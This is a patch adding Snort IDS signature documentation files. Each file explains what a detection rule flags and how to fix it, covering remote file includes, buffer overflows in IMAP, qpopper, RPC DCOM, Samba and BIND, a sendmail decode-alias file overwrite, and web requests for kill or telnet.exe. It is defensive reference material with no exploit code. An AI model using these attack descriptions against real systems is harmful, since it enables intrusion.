+++ snort-2.8.5.2/doc/signatures/100000333.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000333
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Artmedic Newsletter" application running on a webserver. Access to the file "log.php" using a remote file being passed as the "logfile" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "logfile" parameter in the "log.php" script used by the "Artmedic Newsletter" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Artmedic Newsletter
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1904.txt
+++ snort-2.8.5.2/doc/signatures/1904.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1904
+
+--
+Summary:
+This event is generated when a remote attacker sends an IMAP FIND
+command with a malformed argument to an internal IMAP server. This may
+indicate an attempt to exploit a buffer overflow vulnerability in the
+IMAP FIND command.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a FIND command with a malformed and overly long argument is sent to
+a vulnerable IMAP server, a buffer overflow condition may occur. This
+can allow an attacker to execute arbitrary code from the command shell.
+Note that this exploit can only be attempted by a user with a valid IMAP
+account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264.
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a malformed and
+sufficiently long FIND command to the IMAP server, creating a buffer
+overflow condition. This can then allow the attacker to execute
+arbitrary shell code on the compromised server.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch for your current version of imapd appropriate to your
+operating system.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/659.txt
+++ snort-2.8.5.2/doc/signatures/659.txt
@@ -0,0 +1,54 @@
+Rule:
+--
+Sid:
+659
+
+--
+Summary:
+This event is generated when a probe is sent to an SMTP server to determine if the decode alias is supported.
+
+--
+Impact:
+Intelligence gathering activity. This event could be an indication of reconnaissance or an actual attempt to overwrite a sensitive file. If the decode alias is present on the SMTP server, an attacker may use it to overwrite files. 
+
+--
+Detailed Information:
+The decode alias was included to allow email to be sent to a username of decode to process the email content through the uudecode program.  A malicious user could attempt to email a uuencoded file that would overwrite an existing sensitive file. 
+
+--
+Affected Systems:
+Older UNIX Sendmail versions (~1990-1996)
+
+--
+Attack Scenarios:
+An attacker can email a uuencoded file to the decode username to overwrite an existing sensitive file.  
+
+--
+Ease of Attack:
+Simple. Send email containing a uuencoded file to the username decode to overwrite an existing sensitive file.
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove decode in /etc/aliases.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS32
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/866.txt
+++ snort-2.8.5.2/doc/signatures/866.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+866
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3227.txt
+++ snort-2.8.5.2/doc/signatures/3227.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3227
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2755.txt
+++ snort-2.8.5.2/doc/signatures/2755.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2755
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_unique_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/286.txt
+++ snort-2.8.5.2/doc/signatures/286.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+286
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in the POP3 qpopper service on BSD systems.
+
+--
+Impact:
+An attacker can gain access to a shell running with root privileges.
+
+--
+Detailed Information:
+This rule looks for a piece of shell code (executable code) that is
+used to exploit a known vulnerability in an older version of the Qualcom
+based POP3 daemon distributed with BSD Unixes.
+
+--
+Affected Systems:
+*BSD systems using Qualcomm Qpopper 2.4
+
+--
+Attack Scenarios:
+The attack is done remotely and gives the attacker a command shell
+running with root privileges.
+
+--
+Ease of Attack:
+Simple.  An exploit is readily available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the available security patches from your vendor.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/133
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-1999-0006
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1335.txt
+++ snort-2.8.5.2/doc/signatures/1335.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1335
+
+--
+Summary:
+Attempted kill command access via web
+
+--
+Impact:
+Attempt to stop or restart processes on a webserver.
+
+--
+Detailed Information:
+This is an attempt to either stop or restart system processes on a
+webserver. By stopping a service the attacker can effectively issue a
+"Denial of Service" to a particular process on a machine. When used to
+restart a process, the attacker can force a legitimate process to
+re-read the associated configuration file and possibly compromise the
+service by replacing the original configuration with one crafted by the attacker.
+
+The signature looks for the "kill" command in the client to
+web server network traffic and does not indicate whether the command
+was actually successful in killing the process. The presence of the
+"kill" command in web traffic indicates that an attacker attempted to
+trick the web server into executing system in non-interactive mode
+i.e. without a valid shell session.
+
+Alternatively this rule may trigger in an unencrypted HTTP tunneling
+connection to the server or a shell connection via another exploit
+against the web server.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/kill'
+in the URI which can then return sensitive information on groups and
+users present on the host.  This command may also be requested on a
+command line should the attacker gain access to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Webservers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. 
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+man kill
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2476.txt
+++ snort-2.8.5.2/doc/signatures/2476.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2476
+
+--
+Summary:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings then create an entry in the winreg service.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/619.txt
+++ snort-2.8.5.2/doc/signatures/619.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+619
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1285.txt
+++ snort-2.8.5.2/doc/signatures/1285.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1285
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1066.txt
+++ snort-2.8.5.2/doc/signatures/1066.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1066
+
+--
+Summary:
+This event is generated when an attempt is made to access telnet.exe on a remote
+web server via a web request.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to acess telnet.exe on a remote
+web server.  The attacker can use telnet to directly connect to other computers
+and launch attacks from the web server.
+
+This event indicates that an attempt has been made to execute the
+program telnet.exe using a web request.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+The attacker may use telnet to access other machines or compromise the
+resources on the target system.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3031.txt
+++ snort-2.8.5.2/doc/signatures/3031.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3031
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2081.txt
+++ snort-2.8.5.2/doc/signatures/2081.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2081
+
+--
+Summary:
+number for the rpc service xfsmd
+
+--
+Impact:
+Intelligence gathering
+
+--
+Detailed Information:
+This may be an attacker probing for vulnerable versions of rpc services.
+In this case, the rpc service xfsmd.
+
+It is possible for an attacker to supply a meta character followed by
+any commands or code of his choosing to the xfsmd daemon.
+
+Due to a programming error, the service does not correctly check for the
+characters and they are not stripped from the request.
+
+The xfsmd daemon is not installed by default on IRIX systems but it is 
+part of an optional package.
+
+--
+Affected Systems:
+	IRIX 6.2
+	IRIX 6.3
+	IRIX 6.4
+	IRIX 6.5.x
+
+--
+Attack Scenarios:
+Exploits are widely available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are NOT available for this issue.
+
+Disable and remove the xfsmd daemon.
+
+Uprade to the latest non affected version of the operating system
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5075
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0359
+
+SGI IRIX:
+ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
+
+--
--- snort-2.8.5.2.orig/doc/signatures/427.txt
+++ snort-2.8.5.2/doc/signatures/427.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+427
+
+--
+
+Summary:
+This event is generated when a router generates and ICMP Parameter Problem Unspecified Error datagram.
+
+--
+
+Impact:
+This could be an indication of a protocol error by a previous hop router.  Normally this datagram would only be generated with the datagram was truncated or damaged before it reached its final destination.
+
+--
+
+Detailed Information:
+A router generates a Parameter Problem message for any error not specifically covered by another ICMP message.  This could be an indication of routing problems on the network, or malfunctioning routing hardware.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 12 Code 0 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for configuration errors or nefarious activity.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000501.txt
+++ snort-2.8.5.2/doc/signatures/100000501.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000501
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PictureDis" application running on a webserver. 
+Access to the file "wallpapr.php" using a remote file being passed as the 
+"lang" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "lang" parameter in the "wallpapr.php" script used by 
+the "PictureDis" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PictureDis
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2208.txt
+++ snort-2.8.5.2/doc/signatures/2208.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2208
+
+--
+Summary:
+This event is generated when an attempt is made to access fom.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Faq-O-Matic.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+Faq-O-Matic is a CGI-based system that automates FAQ maintenance on a web server. Versions 2.712 and lower contain a cross-site scripting vulnerability where an attacker can craft a URL with malicious code in the "cmd" argument. If a legitimate user activates the URL, malicious code may be executed on the client computer with the security context of the web server.
+
+--
+Affected Systems:
+Systems running or accessing Faq-O-Matic version 2.712 or lower.
+
+--
+Attack Scenarios:
+An attacker crafts a URL that, when activated by a legitimate user, obtains the session cookie. This can allow the attacker to pose as the user for the duration of the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses fom.cgi, this rule may generate an alert.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Faq-O-Matic version 2.713 or higher. Upgrades are available at http://faqomatic.sourceforge.net.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4023
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3091.txt
+++ snort-2.8.5.2/doc/signatures/3091.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3091
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1748.txt
+++ snort-2.8.5.2/doc/signatures/1748.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1748
+
+--
+Summary:
+This event is generated when an attempt is made to send an overly long 
+FTP command, possibly with the intent to cause of denial of service or 
+buffer overflow in the 3CDaemon FTP server.
+
+--
+Impact:
+Attempted remote access or denial of service.  Successful execution of 
+this attack can cause a denial of service or buffer overflow, allowing 
+the execution of arbitrary commands on the vulnerable FTP server.
+
+--
+Detailed Information:
+3CDaemon is an FTP server for Windows hosts.  A buffer overflow 
+vulnerability exists in 3CDaemon revision 10.  The exploit is caused by 
+sending an FTP command that is 400 bytes or longer, causing the server 
+to crash or permitting a buffer overflow that may allow the execution of
+arbitrary commands with the privileges of the process running the FTP 
+server.  This attack does not require login access to the FTP server.
+
+--
+Affected Systems:
+
+	3Com 3CDaemon 2.0 revision 10
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit this vulnerability by sending and 
+overly long FTP command, permitting the execution of arbitrary commands 
+or causing a denial of service against the vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available. 
+
+--
+False Positives:
+This rule may generate an event if an FTP client provides a legitimate 
+request which is over 100 characters long. For example, when FTP clients
+store or request files with full path located in deep directory 
+hierarchies the full request might result in a filename that exceedes 95
+characters.
+
+This rule may also generate an event if Kerberos authentication is used
+for the FTP server.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software or apply the appropriate patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4638
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3153.txt
+++ snort-2.8.5.2/doc/signatures/3153.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+3153
+
+-- 
+Summary: 
+This event is generated when an inverse query attempt is made using TCP.
+
+-- 
+
+Impact: 
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Bind 8 contains a programming error that may present an attacker with
+the opportunity to execute code of their choosing on an affected server.
+
+The error occurs in the handling of malformed transactions. When using
+TCP this can result in the attacker causing a heap overflow.
+
+--
+Affected Systems:
+	Bind 8.
+
+--
+Attack Scenarios: 
+An attacker needs to send a specially crafted and malformed query to an
+affected server.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1766.txt
+++ snort-2.8.5.2/doc/signatures/1766.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1766
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
